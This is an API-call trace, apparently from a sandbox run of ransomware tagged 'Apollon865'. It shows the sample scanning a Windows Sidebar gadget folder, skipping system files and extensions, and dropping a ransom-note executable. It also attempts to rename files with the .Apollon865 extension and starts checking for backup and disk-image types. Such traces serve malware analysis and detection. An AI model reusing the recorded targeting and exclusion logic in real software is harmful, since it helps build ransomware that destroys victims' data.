	[0060.968] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".sys") returned 1
	[0060.968] lstrlenW (lpString="buttonDown_Off.png") returned 18
	[0060.968] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="buttonDown_On.png" | out: lpString1="buttonDown_On.png") returned="buttonDown_On.png"
	[0060.968] lstrlenW (lpString="buttonDown_On.png") returned 17
	[0060.968] lstrlenW (lpString="Apollon865") returned 10
	[0060.968] lstrcmpiW (lpString1="own_On.png", lpString2="Apollon865") returned 1
	[0060.968] lstrlenW (lpString=".dll") returned 4
	[0060.968] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".dll") returned 1
	[0060.968] lstrlenW (lpString=".lnk") returned 4
	[0060.968] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".lnk") returned 1
	[0060.968] lstrlenW (lpString=".ini") returned 4
	[0060.968] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".ini") returned 1
	[0060.968] lstrlenW (lpString=".sys") returned 4
	[0060.968] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".sys") returned 1
	[0060.968] lstrlenW (lpString="buttonDown_On.png") returned 17
	[0060.968] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="buttonUp_Off.png" | out: lpString1="buttonUp_Off.png") returned="buttonUp_Off.png"
	[0060.968] lstrlenW (lpString="buttonUp_Off.png") returned 16
	[0060.968] lstrlenW (lpString="Apollon865") returned 10
	[0060.968] lstrcmpiW (lpString1="Up_Off.png", lpString2="Apollon865") returned 1
	[0060.969] lstrlenW (lpString=".dll") returned 4
	[0060.969] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".dll") returned 1
	[0060.969] lstrlenW (lpString=".lnk") returned 4
	[0060.969] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".lnk") returned 1
	[0060.969] lstrlenW (lpString=".ini") returned 4
	[0060.969] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".ini") returned 1
	[0060.969] lstrlenW (lpString=".sys") returned 4
	[0060.969] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".sys") returned 1
	[0060.969] lstrlenW (lpString="buttonUp_Off.png") returned 16
	[0060.969] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="buttonUp_On.png" | out: lpString1="buttonUp_On.png") returned="buttonUp_On.png"
	[0060.969] lstrlenW (lpString="buttonUp_On.png") returned 15
	[0060.969] lstrlenW (lpString="Apollon865") returned 10
	[0060.969] lstrcmpiW (lpString1="nUp_On.png", lpString2="Apollon865") returned 1
	[0060.969] lstrlenW (lpString=".dll") returned 4
	[0060.969] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".dll") returned 1
	[0060.969] lstrlenW (lpString=".lnk") returned 4
	[0060.969] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".lnk") returned 1
	[0060.969] lstrlenW (lpString=".ini") returned 4
	[0060.969] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".ini") returned 1
	[0060.969] lstrlenW (lpString=".sys") returned 4
	[0060.969] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".sys") returned 1
	[0060.969] lstrlenW (lpString="buttonUp_On.png") returned 15
	[0060.969] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="flyoutBack.png" | out: lpString1="flyoutBack.png") returned="flyoutBack.png"
	[0060.969] lstrlenW (lpString="flyoutBack.png") returned 14
	[0060.969] lstrlenW (lpString="Apollon865") returned 10
	[0060.969] lstrcmpiW (lpString1="utBack.png", lpString2="Apollon865") returned 1
	[0060.969] lstrlenW (lpString=".dll") returned 4
	[0060.969] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".dll") returned 1
	[0060.969] lstrlenW (lpString=".lnk") returned 4
	[0060.969] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".lnk") returned 1
	[0060.970] lstrlenW (lpString=".ini") returned 4
	[0060.970] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".ini") returned 1
	[0060.970] lstrlenW (lpString=".sys") returned 4
	[0060.970] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".sys") returned 1
	[0060.970] lstrlenW (lpString="flyoutBack.png") returned 14
	[0060.970] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="item_hover_docked.png" | out: lpString1="item_hover_docked.png") returned="item_hover_docked.png"
	[0060.970] lstrlenW (lpString="item_hover_docked.png") returned 21
	[0060.970] lstrlenW (lpString="Apollon865") returned 10
	[0060.970] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0060.970] lstrlenW (lpString=".dll") returned 4
	[0060.970] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".dll") returned 1
	[0060.970] lstrlenW (lpString=".lnk") returned 4
	[0060.970] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".lnk") returned 1
	[0060.970] lstrlenW (lpString=".ini") returned 4
	[0060.970] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".ini") returned 1
	[0060.970] lstrlenW (lpString=".sys") returned 4
	[0060.970] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".sys") returned 1
	[0060.970] lstrlenW (lpString="item_hover_docked.png") returned 21
	[0060.970] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="item_hover_floating.png" | out: lpString1="item_hover_floating.png") returned="item_hover_floating.png"
	[0060.970] lstrlenW (lpString="item_hover_floating.png") returned 23
	[0060.970] lstrlenW (lpString="Apollon865") returned 10
	[0060.970] lstrcmpiW (lpString1="oating.png", lpString2="Apollon865") returned 1
	[0060.970] lstrlenW (lpString=".dll") returned 4
	[0060.970] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".dll") returned 1
	[0060.970] lstrlenW (lpString=".lnk") returned 4
	[0060.970] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".lnk") returned 1
	[0060.970] lstrlenW (lpString=".ini") returned 4
	[0060.970] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".ini") returned 1
	[0060.970] lstrlenW (lpString=".sys") returned 4
	[0060.970] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".sys") returned 1
	[0060.971] lstrlenW (lpString="item_hover_floating.png") returned 23
	[0060.971] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="item_hover_flyout.png" | out: lpString1="item_hover_flyout.png") returned="item_hover_flyout.png"
	[0060.971] lstrlenW (lpString="item_hover_flyout.png") returned 21
	[0060.971] lstrlenW (lpString="Apollon865") returned 10
	[0060.971] lstrcmpiW (lpString1="flyout.png", lpString2="Apollon865") returned 1
	[0060.971] lstrlenW (lpString=".dll") returned 4
	[0060.971] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".dll") returned 1
	[0060.971] lstrlenW (lpString=".lnk") returned 4
	[0060.971] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".lnk") returned 1
	[0060.971] lstrlenW (lpString=".ini") returned 4
	[0060.971] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".ini") returned 1
	[0060.971] lstrlenW (lpString=".sys") returned 4
	[0060.971] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".sys") returned 1
	[0060.971] lstrlenW (lpString="item_hover_flyout.png") returned 21
	[0060.971] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="navBack.png" | out: lpString1="navBack.png") returned="navBack.png"
	[0060.971] lstrlenW (lpString="navBack.png") returned 11
	[0060.971] lstrlenW (lpString="Apollon865") returned 10
	[0060.971] lstrcmpiW (lpString1="avBack.png", lpString2="Apollon865") returned 1
	[0060.971] lstrlenW (lpString=".dll") returned 4
	[0060.971] lstrcmpiW (lpString1="navBack.png", lpString2=".dll") returned 1
	[0060.971] lstrlenW (lpString=".lnk") returned 4
	[0060.971] lstrcmpiW (lpString1="navBack.png", lpString2=".lnk") returned 1
	[0060.971] lstrlenW (lpString=".ini") returned 4
	[0060.971] lstrcmpiW (lpString1="navBack.png", lpString2=".ini") returned 1
	[0060.971] lstrlenW (lpString=".sys") returned 4
	[0060.971] lstrcmpiW (lpString1="navBack.png", lpString2=".sys") returned 1
	[0060.971] lstrlenW (lpString="navBack.png") returned 11
	[0060.972] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="rssBackBlue_docked.png" | out: lpString1="rssBackBlue_docked.png") returned="rssBackBlue_docked.png"
	[0060.972] lstrlenW (lpString="rssBackBlue_docked.png") returned 22
	[0060.972] lstrlenW (lpString="Apollon865") returned 10
	[0060.972] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0060.972] lstrlenW (lpString=".dll") returned 4
	[0060.972] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".dll") returned 1
	[0060.972] lstrlenW (lpString=".lnk") returned 4
	[0060.972] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".lnk") returned 1
	[0060.972] lstrlenW (lpString=".ini") returned 4
	[0060.972] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".ini") returned 1
	[0060.972] lstrlenW (lpString=".sys") returned 4
	[0060.972] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".sys") returned 1
	[0060.972] lstrlenW (lpString="rssBackBlue_docked.png") returned 22
	[0060.972] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="rssBackBlue_Undocked.png" | out: lpString1="rssBackBlue_Undocked.png") returned="rssBackBlue_Undocked.png"
	[0060.972] lstrlenW (lpString="rssBackBlue_Undocked.png") returned 24
	[0060.972] lstrlenW (lpString="Apollon865") returned 10
	[0060.972] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0060.972] lstrlenW (lpString=".dll") returned 4
	[0060.972] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".dll") returned 1
	[0060.972] lstrlenW (lpString=".lnk") returned 4
	[0060.972] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".lnk") returned 1
	[0060.972] lstrlenW (lpString=".ini") returned 4
	[0060.972] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".ini") returned 1
	[0060.972] lstrlenW (lpString=".sys") returned 4
	[0060.972] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".sys") returned 1
	[0060.972] lstrlenW (lpString="rssBackBlue_Undocked.png") returned 24
	[0060.972] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="rssLogo.gif" | out: lpString1="rssLogo.gif") returned="rssLogo.gif"
	[0060.972] lstrlenW (lpString="rssLogo.gif") returned 11
	[0060.972] lstrlenW (lpString="Apollon865") returned 10
	[0060.972] lstrcmpiW (lpString1="ssLogo.gif", lpString2="Apollon865") returned 1
	[0060.973] lstrlenW (lpString=".dll") returned 4
	[0060.973] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".dll") returned 1
	[0060.973] lstrlenW (lpString=".lnk") returned 4
	[0060.973] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".lnk") returned 1
	[0060.973] lstrlenW (lpString=".ini") returned 4
	[0060.973] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".ini") returned 1
	[0060.973] lstrlenW (lpString=".sys") returned 4
	[0060.973] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".sys") returned 1
	[0060.973] lstrlenW (lpString="rssLogo.gif") returned 11
	[0060.973] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="rss_headline_glow_docked.png" | out: lpString1="rss_headline_glow_docked.png") returned="rss_headline_glow_docked.png"
	[0060.973] lstrlenW (lpString="rss_headline_glow_docked.png") returned 28
	[0060.973] lstrlenW (lpString="Apollon865") returned 10
	[0060.973] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0060.973] lstrlenW (lpString=".dll") returned 4
	[0060.973] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".dll") returned 1
	[0060.973] lstrlenW (lpString=".lnk") returned 4
	[0060.973] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".lnk") returned 1
	[0060.973] lstrlenW (lpString=".ini") returned 4
	[0060.973] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".ini") returned 1
	[0060.973] lstrlenW (lpString=".sys") returned 4
	[0060.973] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".sys") returned 1
	[0060.973] lstrlenW (lpString="rss_headline_glow_docked.png") returned 28
	[0060.973] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="rss_headline_glow_floating.png" | out: lpString1="rss_headline_glow_floating.png") returned="rss_headline_glow_floating.png"
	[0060.973] lstrlenW (lpString="rss_headline_glow_floating.png") returned 30
	[0060.973] lstrlenW (lpString="Apollon865") returned 10
	[0060.973] lstrcmpiW (lpString1="oating.png", lpString2="Apollon865") returned 1
	[0060.973] lstrlenW (lpString=".dll") returned 4
	[0060.973] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".dll") returned 1
	[0060.973] lstrlenW (lpString=".lnk") returned 4
	[0060.973] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".lnk") returned 1
	[0060.974] lstrlenW (lpString=".ini") returned 4
	[0060.974] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".ini") returned 1
	[0060.974] lstrlenW (lpString=".sys") returned 4
	[0060.974] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".sys") returned 1
	[0060.974] lstrlenW (lpString="rss_headline_glow_floating.png") returned 30
	[0060.974] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="rss_headline_glow_flyout.png" | out: lpString1="rss_headline_glow_flyout.png") returned="rss_headline_glow_flyout.png"
	[0060.974] lstrlenW (lpString="rss_headline_glow_flyout.png") returned 28
	[0060.974] lstrlenW (lpString="Apollon865") returned 10
	[0060.974] lstrcmpiW (lpString1="flyout.png", lpString2="Apollon865") returned 1
	[0060.974] lstrlenW (lpString=".dll") returned 4
	[0060.974] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".dll") returned 1
	[0060.974] lstrlenW (lpString=".lnk") returned 4
	[0060.974] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".lnk") returned 1
	[0060.974] lstrlenW (lpString=".ini") returned 4
	[0060.974] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".ini") returned 1
	[0060.974] lstrlenW (lpString=".sys") returned 4
	[0060.974] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".sys") returned 1
	[0060.974] lstrlenW (lpString="rss_headline_glow_flyout.png") returned 28
	[0060.974] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US"
	[0060.974] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0060.974] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0060.974] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US") returned 62
	[0060.974] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US"
	[0060.974] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.974] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.982] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c6a7170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c6a7170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.983] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.983] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.983] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="css" | out: lpString1="css") returned="css"
	[0060.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0060.983] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0060.983] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0060.983] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1
	[0060.983] lstrcmpiW (lpString1="flyout.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.983] lstrcmpiW (lpString1="flyout.html", lpString2="Apollon865.txt.exe") returned 1
	[0060.983] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="flyout.html" | out: lpString1="flyout.html") returned="flyout.html"
	[0060.983] lstrlenW (lpString="flyout.html") returned 11
	[0060.983] lstrlenW (lpString="Apollon865") returned 10
	[0060.983] lstrcmpiW (lpString1="lyout.html", lpString2="Apollon865") returned 1
	[0060.983] lstrlenW (lpString=".dll") returned 4
	[0060.983] lstrcmpiW (lpString1="flyout.html", lpString2=".dll") returned 1
	[0060.983] lstrlenW (lpString=".lnk") returned 4
	[0060.983] lstrcmpiW (lpString1="flyout.html", lpString2=".lnk") returned 1
	[0060.983] lstrlenW (lpString=".ini") returned 4
	[0060.983] lstrcmpiW (lpString1="flyout.html", lpString2=".ini") returned 1
	[0060.983] lstrlenW (lpString=".sys") returned 4
	[0060.983] lstrcmpiW (lpString1="flyout.html", lpString2=".sys") returned 1
	[0060.984] lstrlenW (lpString="flyout.html") returned 11
	[0060.984] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0060.984] lstrlenW (lpString="gadget.xml") returned 10
	[0060.984] lstrlenW (lpString="Apollon865") returned 10
	[0060.984] lstrlenW (lpString=".dll") returned 4
	[0060.984] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0060.984] lstrlenW (lpString=".lnk") returned 4
	[0060.984] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0060.984] lstrlenW (lpString=".ini") returned 4
	[0060.984] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0060.984] lstrlenW (lpString=".sys") returned 4
	[0060.984] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0060.984] lstrlenW (lpString="gadget.xml") returned 10
	[0060.984] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml.Apollon865") returned 84
	[0060.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0061.012] GetLastError () returned 0x5
	[0061.013] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 102
	[0061.013] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 102
	[0061.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0061.013] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x25fe
	[0061.013] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x66, lpOverlapped=0x0) returned 1
	[0061.094] CloseHandle (hObject=0x14c) returned 1
	[0061.181] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0061.182] CloseHandle (hObject=0x0) returned 0
	[0061.182] CloseHandle (hObject=0x0) returned 0
	[0061.182] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c6a7170, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c6a7170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.182] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.182] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22e64bc5, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0061.182] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0061.182] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0061.183] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0061.183] lstrlenW (lpString="js") returned 2
	[0061.183] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\gadget.xml") returned 73
	[0061.183] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="js" | out: lpString1="js") returned="js"
	[0061.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0061.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b90d8
	[0061.183] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0061.183] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x271c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSSFeeds.html", cAlternateFileName="")) returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="..") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="windows") returned -1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="bootmgr") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="temp") returned -1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="pagefile.sys") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="boot") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="ids.txt") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="ntuser.dat") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="perflogs") returned 1
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2="MSBuild") returned 1
	[0061.183] lstrlenW (lpString="RSSFeeds.html") returned 13
	[0061.183] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js") returned 65
	[0061.183] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="RSSFeeds.html" | out: lpString1="RSSFeeds.html") returned="RSSFeeds.html"
	[0061.183] lstrlenW (lpString="RSSFeeds.html") returned 13
	[0061.183] lstrlenW (lpString="Apollon865") returned 10
	[0061.183] lstrcmpiW (lpString1="Feeds.html", lpString2="Apollon865") returned 1
	[0061.183] lstrlenW (lpString=".dll") returned 4
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".dll") returned 1
	[0061.183] lstrlenW (lpString=".lnk") returned 4
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".lnk") returned 1
	[0061.183] lstrlenW (lpString=".ini") returned 4
	[0061.183] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".ini") returned 1
	[0061.184] lstrlenW (lpString=".sys") returned 4
	[0061.184] lstrcmpiW (lpString1="RSSFeeds.html", lpString2=".sys") returned 1
	[0061.184] lstrlenW (lpString="RSSFeeds.html") returned 13
	[0061.184] lstrlenW (lpString="bak") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0061.184] lstrlenW (lpString="ba_") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0061.184] lstrlenW (lpString="dbb") returned 3
	[0061.184] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0061.184] lstrlenW (lpString="vmdk") returned 4
	[0061.184] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0061.184] lstrlenW (lpString="rar") returned 3
